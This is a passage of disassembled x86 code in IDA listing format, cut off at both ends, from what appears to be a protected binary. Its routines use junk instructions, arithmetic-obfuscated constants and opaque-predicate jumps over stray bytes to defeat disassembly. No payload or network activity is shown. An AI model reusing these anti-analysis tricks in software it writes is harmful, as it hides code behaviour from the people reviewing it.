mov bl, 0C6h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_4A2CBC
jl short loc_4A2CBA
loc_4A2CB7: ; CODE XREF: sub_4A2B5F:loc_4A2CBAj
; sub_4A2B5F:loc_4A2CBCj
jmp short loc_4A2CBE
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A2CBA: ; CODE XREF: sub_4A2B5F+156j
jz short loc_4A2CB7
loc_4A2CBC: ; CODE XREF: sub_4A2B5F+154j
jmp short loc_4A2CB7
; ---------------------------------------------------------------------------
loc_4A2CBE: ; CODE XREF: sub_4A2B5F:loc_4A2CB7j
inc eax
dec eax
jo short loc_4A2CC9
jl short loc_4A2CC7
loc_4A2CC4: ; CODE XREF: sub_4A2B5F:loc_4A2CC7j
; sub_4A2B5F:loc_4A2CC9j
jmp short loc_4A2CCB
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A2CC7: ; CODE XREF: sub_4A2B5F+163j
jz short loc_4A2CC4
loc_4A2CC9: ; CODE XREF: sub_4A2B5F+161j
jmp short loc_4A2CC4
; ---------------------------------------------------------------------------
loc_4A2CCB: ; CODE XREF: sub_4A2B5F:loc_4A2CC4j
inc eax
dec eax
inc eax
dec eax
jo short loc_4A2CD8
jl short loc_4A2CD6
loc_4A2CD3: ; CODE XREF: sub_4A2B5F:loc_4A2CD6j
; sub_4A2B5F:loc_4A2CD8j
jmp short loc_4A2CDA
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A2CD6: ; CODE XREF: sub_4A2B5F+172j
jz short loc_4A2CD3
loc_4A2CD8: ; CODE XREF: sub_4A2B5F+170j
jmp short loc_4A2CD3
; ---------------------------------------------------------------------------
loc_4A2CDA: ; CODE XREF: sub_4A2B5F:loc_4A2CD3j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_4A2CE5
and eax, 0
jmp short loc_4A2CE9
; ---------------------------------------------------------------------------
loc_4A2CE5: ; CODE XREF: sub_4A2B5F+A5j
; sub_4A2B5F+17Fj
and eax, 0
inc eax
loc_4A2CE9: ; CODE XREF: sub_4A2B5F+184j
mov [ebp+var_C], eax
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3B4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2D0C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2D0C: ; CODE XREF: sub_4A2B5F+1A2j
mov eax, [ebp+var_8]
push eax
call off_4F1D08
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2B5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2D20 proc near ; DATA XREF: sub_4965D8+3D1o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D88
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 3Ah
not bx
bswap eax
not bx
bswap eax
and al, bl
pop ebx
pop edx
test eax, eax
jnz loc_4A2E72
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 4
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_4A2DFC
jl short loc_4A2DFA
loc_4A2DF5: ; CODE XREF: sub_4A2D20:loc_4A2DFAj
; sub_4A2D20:loc_4A2DFCj
jmp short loc_4A2DFE
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A2DFA: ; CODE XREF: sub_4A2D20+D3j
jz short loc_4A2DF5
loc_4A2DFC: ; CODE XREF: sub_4A2D20+D1j
jmp short loc_4A2DF5
; ---------------------------------------------------------------------------
loc_4A2DFE: ; CODE XREF: sub_4A2D20:loc_4A2DF5j
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_4A2E11
jl short loc_4A2E0F
loc_4A2E0C: ; CODE XREF: sub_4A2D20:loc_4A2E0Fj
; sub_4A2D20:loc_4A2E11j
jmp short loc_4A2E13
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4A2E0F: ; CODE XREF: sub_4A2D20+EAj
jz short loc_4A2E0C
loc_4A2E11: ; CODE XREF: sub_4A2D20+E8j
jmp short loc_4A2E0C
; ---------------------------------------------------------------------------
loc_4A2E13: ; CODE XREF: sub_4A2D20:loc_4A2E0Cj
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_4A2E47
jl short loc_4A2E45
loc_4A2E40: ; CODE XREF: sub_4A2D20:loc_4A2E45j
; sub_4A2D20:loc_4A2E47j
jmp short loc_4A2E49
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A2E45: ; CODE XREF: sub_4A2D20+11Ej
jz short loc_4A2E40
loc_4A2E47: ; CODE XREF: sub_4A2D20+11Cj
jmp short loc_4A2E40
; ---------------------------------------------------------------------------
loc_4A2E49: ; CODE XREF: sub_4A2D20:loc_4A2E40j
inc eax
dec eax
jo short loc_4A2E56
jl short loc_4A2E54
loc_4A2E4F: ; CODE XREF: sub_4A2D20:loc_4A2E54j
; sub_4A2D20:loc_4A2E56j
jmp short loc_4A2E58
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A2E54: ; CODE XREF: sub_4A2D20+12Dj
jz short loc_4A2E4F
loc_4A2E56: ; CODE XREF: sub_4A2D20+12Bj
jmp short loc_4A2E4F
; ---------------------------------------------------------------------------
loc_4A2E58: ; CODE XREF: sub_4A2D20:loc_4A2E4Fj
inc eax
dec eax
inc eax
dec eax
jo short loc_4A2E65
jl short loc_4A2E63
loc_4A2E60: ; CODE XREF: sub_4A2D20:loc_4A2E63j
; sub_4A2D20:loc_4A2E65j
jmp short loc_4A2E67
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A2E63: ; CODE XREF: sub_4A2D20+13Ej
jz short loc_4A2E60
loc_4A2E65: ; CODE XREF: sub_4A2D20+13Cj
jmp short loc_4A2E60
; ---------------------------------------------------------------------------
loc_4A2E67: ; CODE XREF: sub_4A2D20:loc_4A2E60j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_4A2E72
and eax, 0
jmp short loc_4A2E76
; ---------------------------------------------------------------------------
loc_4A2E72: ; CODE XREF: sub_4A2D20+6Bj
; sub_4A2D20+14Bj
and eax, 0
inc eax
loc_4A2E76: ; CODE XREF: sub_4A2D20+150j
mov [ebp+var_C], eax
mov ecx, dword_4ED3B8
xor ecx, dword_4ED3BC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2E99
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2E99: ; CODE XREF: sub_4A2D20+16Ej
mov eax, [ebp+var_8]
push eax
call off_4F1D10
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2EAD proc near ; DATA XREF: sub_4965D8+AA3o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BCh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
inc cl
dec cl
dec cl
inc cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
sub cl, 5
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
sub dh, 1
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2F9F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2F9F: ; CODE XREF: sub_4A2EAD+E7j
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2EAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2FB3 proc near ; DATA XREF: sub_4965D8+53Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_4A2FDC
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_4A2FDC: ; CODE XREF: sub_4A2FB3+22j
mov ebx, 72h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 5
xor dh, 2
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A3047
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A3047: ; CODE XREF: sub_4A2FB3+89j
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2FB3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A305B proc near ; DATA XREF: sub_4965D8+D34o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Fh
pop ebx
jo short loc_4A308E
jl short loc_4A308C
loc_4A3087: ; CODE XREF: sub_4A305B:loc_4A308Cj
; sub_4A305B:loc_4A308Ej
jmp short loc_4A3090
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A308C: ; CODE XREF: sub_4A305B+2Aj
jz short loc_4A3087
loc_4A308E: ; CODE XREF: sub_4A305B+28j
jmp short loc_4A3087
; ---------------------------------------------------------------------------
loc_4A3090: ; CODE XREF: sub_4A305B:loc_4A3087j
sub bl, 5
dec bl
push eax
dec bl
dec bl
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 2700h
dec dh
sub dh, 5
dec dh
sub dh, 17h
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A30E8
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A30E8: ; CODE XREF: sub_4A305B+82j
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A305B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A30FC proc near ; DATA XREF: sub_4965D8+EF9o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D78
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_4A312F
jl short loc_4A312D
loc_4A3128: ; CODE XREF: sub_4A30FC:loc_4A312Dj
; sub_4A30FC:loc_4A312Fj
jmp short loc_4A3131
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A312D: ; CODE XREF: sub_4A30FC+2Aj
jz short loc_4A3128
loc_4A312F: ; CODE XREF: sub_4A30FC+28j
jmp short loc_4A3128
; ---------------------------------------------------------------------------
loc_4A3131: ; CODE XREF: sub_4A30FC:loc_4A3128j
sub bl, 6
push eax
dec bl
dec bl
and eax, 41h
sub bl, 15h
pop eax
dec bl
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 3
dec dh
sub dh, 7
dec dh
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3A8
xor ecx, dword_4ED3AC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A3183
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A3183: ; CODE XREF: sub_4A30FC+7Cj
mov eax, [ebp+var_8]
push eax
call off_4F1D00
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A30FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3197 proc near ; DATA XREF: sub_4965D8+50Fo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1F00h
pop ebx
jo short loc_4A31CD
jl short loc_4A31CB
loc_4A31C6: ; CODE XREF: sub_4A3197:loc_4A31CBj
; sub_4A3197:loc_4A31CDj
jmp short loc_4A31CF
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A31CB: ; CODE XREF: sub_4A3197+2Dj
jz short loc_4A31C6
loc_4A31CD: ; CODE XREF: sub_4A3197+2Bj
jmp short loc_4A31C6
; ---------------------------------------------------------------------------
loc_4A31CF: ; CODE XREF: sub_4A3197:loc_4A31C6j
sub bh, 5
dec bh
push eax
dec bh
dec bh
and eax, 41h
dec bh
sub bh, 12h
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 15h
dec dl
sub dl, 3
dec dl
sub dl, 7
dec dl
dec dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_4A3217
jl short loc_4A3215
loc_4A3210: ; CODE XREF: sub_4A3197:loc_4A3215j
; sub_4A3197:loc_4A3217j
jmp short loc_4A3219
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A3215: ; CODE XREF: sub_4A3197+77j
jz short loc_4A3210
loc_4A3217: ; CODE XREF: sub_4A3197+75j
jmp short loc_4A3210
; ---------------------------------------------------------------------------
loc_4A3219: ; CODE XREF: sub_4A3197:loc_4A3210j
inc eax
dec eax
jo short loc_4A3226
jl short loc_4A3224
loc_4A321F: ; CODE XREF: sub_4A3197:loc_4A3224j
; sub_4A3197:loc_4A3226j
jmp short loc_4A3228
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A3224: ; CODE XREF: sub_4A3197+86j
jz short loc_4A321F
loc_4A3226: ; CODE XREF: sub_4A3197+84j
jmp short loc_4A321F
; ---------------------------------------------------------------------------
loc_4A3228: ; CODE XREF: sub_4A3197:loc_4A321Fj
inc eax
dec eax
inc eax
dec eax
jo short loc_4A3235
jl short loc_4A3233
loc_4A3230: ; CODE XREF: sub_4A3197:loc_4A3233j
; sub_4A3197:loc_4A3235j
jmp short loc_4A3237
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A3233: ; CODE XREF: sub_4A3197+97j
jz short loc_4A3230
loc_4A3235: ; CODE XREF: sub_4A3197+95j
jmp short loc_4A3230
; ---------------------------------------------------------------------------
loc_4A3237: ; CODE XREF: sub_4A3197:loc_4A3230j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED414
xor ecx, dword_4ED418
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A325B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A325B: ; CODE XREF: sub_4A3197+B9j
mov eax, [ebp+var_8]
push eax
call off_4F1D6C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A3197 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A326F proc near ; DATA XREF: sub_4965D8+148Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4Bh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A32FF
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A32FF: ; CODE XREF: sub_4A326F+85j
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A326F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3313 proc near ; DATA XREF: sub_4965D8+267o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D84
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Dh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B4
xor ecx, dword_4ED3B8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A33A1
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A33A1: ; CODE XREF: sub_4A3313+83j
mov eax, [ebp+var_8]
push eax
call off_4F1D0C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A3313 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A33B5 proc near ; DATA XREF: sub_4965D8+EE3o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
xor bh, 7
inc bh
dec bh
inc bh
dec bh
inc bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
inc bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A3487
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A3487: ; CODE XREF: sub_4A33B5+C7j
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A33B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A349B proc near ; DATA XREF: sub_4965D8+1460o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
bswap eax
dec bh
bswap eax
and eax, 800h
jo short loc_4A34BB
jl short loc_4A34B9
loc_4A34B6: ; CODE XREF: sub_4A349B:loc_4A34B9j
; sub_4A349B:loc_4A34BBj
jmp short loc_4A34BD
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A34B9: ; CODE XREF: sub_4A349B+19j
jz short loc_4A34B6
loc_4A34BB: ; CODE XREF: sub_4A349B+17j
jmp short loc_4A34B6
; ---------------------------------------------------------------------------
loc_4A34BD: ; CODE XREF: sub_4A349B:loc_4A34B6j
mov ebx, 4
and eax, 10h
dec ch
mov ebx, [ebp+arg_4]
xor ecx, ecx
or ebx, ecx
jz short loc_4A34DB
dec edi
sub ch, 2
dec ch
and eax, 0
jmp short loc_4A34F1
; ---------------------------------------------------------------------------
loc_4A34DB: ; CODE XREF: sub_4A349B+33j
dec edi
jo short loc_4A34E5
jl short loc_4A34E3
loc_4A34E0: ; CODE XREF: sub_4A349B:loc_4A34E3j
; sub_4A349B:loc_4A34E5j
jmp short loc_4A34E7
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A34E3: ; CODE XREF: sub_4A349B+43j
jz short loc_4A34E0
loc_4A34E5: ; CODE XREF: sub_4A349B+41j
jmp short loc_4A34E0
; ---------------------------------------------------------------------------
loc_4A34E7: ; CODE XREF: sub_4A349B:loc_4A34E0j
and eax, 0
dec ecx
sub ch, 2
inc eax
dec ch
loc_4A34F1: ; CODE XREF: sub_4A349B+3Ej
mov [ebp+var_8], eax
mov eax, dword_4ED410
xor eax, dword_4ED414
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_4A3513
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_4A3513: ; CODE XREF: sub_4A349B+6Dj
mov edx, [ebp+var_4]
push edx
call off_4F1D68
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A349B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3527 proc near ; DATA XREF: sub_4965D8+A5Fo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 10h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 13h
dec ch
mov ebx, [ebp+arg_4]
dec ah
and cl, 0
dec ah
xor edx, edx
or ebx, edx
jz short loc_4A3568
dec edi
and eax, 0
jmp short loc_4A356C
; ---------------------------------------------------------------------------
loc_4A3568: ; CODE XREF: sub_4A3527+39j
and eax, 0
inc eax
loc_4A356C: ; CODE XREF: sub_4A3527+3Fj
mov [ebp+var_8], eax
mov eax, dword_4ED3CC
xor eax, dword_4ED3D0
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_4A358E
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_4A358E: ; CODE XREF: sub_4A3527+5Cj
mov edx, [ebp+var_4]
push edx
call off_4F1D24
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A3527 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A35A2 proc near ; DATA XREF: sub_4965D8+305o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
dec bh
and eax, 800h
jo short loc_4A35BE
jl short loc_4A35BC
loc_4A35B9: ; CODE XREF: sub_4A35A2:loc_4A35BCj
; sub_4A35A2:loc_4A35BEj
jmp short loc_4A35C0
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A35BC: ; CODE XREF: sub_4A35A2+15j
jz short loc_4A35B9
loc_4A35BE: ; CODE XREF: sub_4A35A2+13j
jmp short loc_4A35B9
; ---------------------------------------------------------------------------
loc_4A35C0: ; CODE XREF: sub_4A35A2:loc_4A35B9j
mov ebx, 4
and eax, ebx
mov ch, 52h
dec ch
mov ebx, [ebp+arg_4]
test ebx, ebx
jo short loc_4A35D9
jl short loc_4A35D7
loc_4A35D4: ; CODE XREF: sub_4A35A2:loc_4A35D7j
; sub_4A35A2:loc_4A35D9j
jmp short loc_4A35DB
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A35D7: ; CODE XREF: sub_4A35A2+30j
jz short loc_4A35D4
loc_4A35D9: ; CODE XREF: sub_4A35A2+2Ej
jmp short loc_4A35D4
; ---------------------------------------------------------------------------
loc_4A35DB: ; CODE XREF: sub_4A35A2:loc_4A35D4j
jz short loc_4A35E6
dec edi
sub ch, 3
and eax, 0
jmp short loc_4A3607
; ---------------------------------------------------------------------------
loc_4A35E6: ; CODE XREF: sub_4A35A2:loc_4A35DBj
dec edi
dec ecx
sub ch, 2
dec ch
dec ch
sub ch, 8
